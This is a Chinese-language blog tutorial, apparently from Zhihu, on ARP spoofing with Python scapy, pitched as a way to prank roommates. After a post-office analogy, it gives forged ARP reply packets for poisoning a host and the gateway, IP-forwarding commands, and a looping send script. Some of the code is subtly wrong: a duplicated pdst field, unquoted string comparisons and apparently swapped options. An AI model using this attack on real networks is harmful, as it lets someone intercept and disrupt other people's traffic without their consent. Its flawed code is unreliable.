室友不敢深夜打遊戲篇二:如何用python-scapy進行arp欺騙

一些同學告訴我說arp欺騙比起普通的icmp攻擊要厲害很多,

所以今天我做了一篇arp欺騙的教程。

聲明:本教程只能用於攻擊自己的手機,電腦,頂多惡搞惡搞室友。弄壞了校網被喝茶處分勸退本人一概不負責!!!:D

在進行ARP欺騙的實驗之前,我們有必要了解下ARP和ARP欺騙的原理。

ARP和ARP欺騙原理

小明(mmp怎麼又是我!?)生活在一個民風淳樸的小鎮,這個鎮上的每個人都有唯一的IP,而每個人都有一幢或者幾幢房子,每幢房子可以用其郵政編碼唯一確定(假設),總之,如果你想給小明或者小紅或者小華寫信,只知道對方的名字是不夠的,你還需要知道小明家的郵編(MAC address),可能小明房產太多,指定了某套房專門收信,所以每次你想寫信給小明,都需要詢問小明的住處。

來看這篇文章的應該是對計算機網路有一定基礎的,我就不貼網上一本正經的概念了,簡單來說arp的本質就是,你在知道你要給某個ip送包裹,但是你不知道對方的MAC地址,於是你就向內網中廣播:誰有xxx的mac address?

比如我們打開wireshark,搜索arp可以看到當前正在進行的arp通信,我的ip稱之為57,我想知道146的mac地址,於是我廣播道「誰有146?告訴57(我)」,不一會cisco收到了我的詢問,他知道問題的答案,於是告訴我說「146在xx:xx:xx:xx:xx:xx(mac addr)

反之,內網中有個叫oneplus的傢伙(我們稱之為91),問道」誰知道57(也就是我)住哪?告訴91「,我收到了他或她或它的詢問,心想:看來這裡有個傻帽知道我是誰但不知道我住哪。於是回答道「57(我)的mac 地址是xxxxxxxxxx」

總之,內網的一切就這樣很順利進行著,直到有人動起了歪腦筋。

接下來我們來瞧瞧arp欺騙是怎麼一回事。

在這個鎮上有一家郵局(網關),每個人的信都需要通過它才能發送到世界各地。而小明是郵局的常客了,因為他總是要和心上人小紅通信,而每次信件都要通過當地唯一的這家郵局。你也住在這個鎮上,愚人節那天,你打算搞點惡作劇。

通常可以把ARP欺騙攻擊分為如下兩種

  1. 主機型ARP欺騙:欺騙者主機冒充網關設備對其他主機進行欺騙
  2. 網關型ARP欺騙:欺騙者主機冒充其他主機對網關設備進行欺騙
  3. 主機網關一起騙

圖片來源網路

你可以選擇告訴小明,」嗨,我才是郵局,你把要送的信都送到這兒來吧!「,或者通知郵局:」郵局叔叔你好,我是小明,最近搬家了,把小明的信都送到這個地址吧!「或者兩頭瞞。

萬事俱備,就差程序員了

之前專門為arp攻擊寫過一篇scapy的安裝與使用的文章,這裡有一切你需要掌握的用來幹壞事的知識->click here! ↓

DeepWeaver:通過擺弄python scapy模塊 了解網路模型--Get your hands dirty!?

zhuanlan.zhihu.com圖標

我們首先需要導入scapy

from scapy.all import *

接下來構造假數據包

  1. 欺騙主機

偽造一個arp聲明,將網關IP和一個假的物理地址綁定。區域網的其他機器收到信息,就會在訪問外網時候去訪問那個假的物理地址。

路上你碰見小明,小明氣喘吁吁的說:「我現在要給小紅寄信但是不記得郵局的地址,現在還要跑過去問」,你不懷好意的笑著說道:「啊,這麼巧,我在郵局工作,喏,這就是郵局地址」 你從褲子口袋裡掏出一張寫著自己家地址的紙片給了小明。小明表示萬分感謝,下次一定請你吃飯。

spoof_xiaoming = Ether(src=[你的mac], dst=[小明的mac])/ARP(psrc=小明IP, pdst=網關IP ,hwdst=你的mac, pdst=小明的mac, op=2)

op取值為1或者2,代表ARP請求或者響應包,這裡我們需要偽造一個響應包,所以填2

其餘參數在之前的文章里有,這裡就不贅述了。

2. 欺騙網關:

spoof_gateway = Ether(src=[你的MAC], dst=[網關的Mac])/ARP(hwsrc=你的MAC, psrc=小明IP, hwdst=網關MAC, pdst=網關IP地址, op=2)

你從你的mac地址發送arp回答(op=2)給網關,回復網關:「剛才是您詢問小明的mac地址吧,對,我就是小明(因為你偽造了小明的IP),您以後就發給這個mac地址就行了」

首先要開啟ip轉發功能

Linux:echo 1 > /proc/sys/net/ipv4/ip_forward

Mac: sudo sysctl -w net.inet.ip.forwarding=1

my_mac = xx:xx:xx:xx...target_ip = 172.20...target_mac = getmacbyip(target_ip)gateway_ip = 172.20...interface = en0gateway_mac = getmacbyip(gateway_ip)pkt1 = Ether(src=my_mac, dst=target_mac) / ARP(hwsrc=my_mac, psrc=gateway_ip, hwdst=target_mac, pdst=target_ip, op=2)pkt2 = Ether(src=my_mac, dst=gateway_mac) / ARP(hwsrc=my_mac, psrc=target_ip, hwdst=gateway_mac, pdst=gateway_ip, op=2)pkt1.show()pkt2.show()ans = input(spoof gateway(g) or target(t) or not(n)?) # python3 only# raw_input for python2if ans == n: sys.exit(0)while True: if ans == g: sendp(pkt1, inter=1, iface=interface) if ans == t: sendp(pkt2, inter=1, iface=interface)

以上只是大致的介紹,具體使用建議用現成的軟體,比如kali里的arpspoof軟體。用網上的python腳本測試手機並不成功。

推薦閱讀:

C語言和C++的應用領域?
右鍵菜單 添加新的 文件對象關聯菜單
什麼是美國的妨礙聯邦計算機罪?
為什麼會有五筆打字?
一次被攻擊的體驗

TAG:Linux | 黑客攻擊 | 計算機 |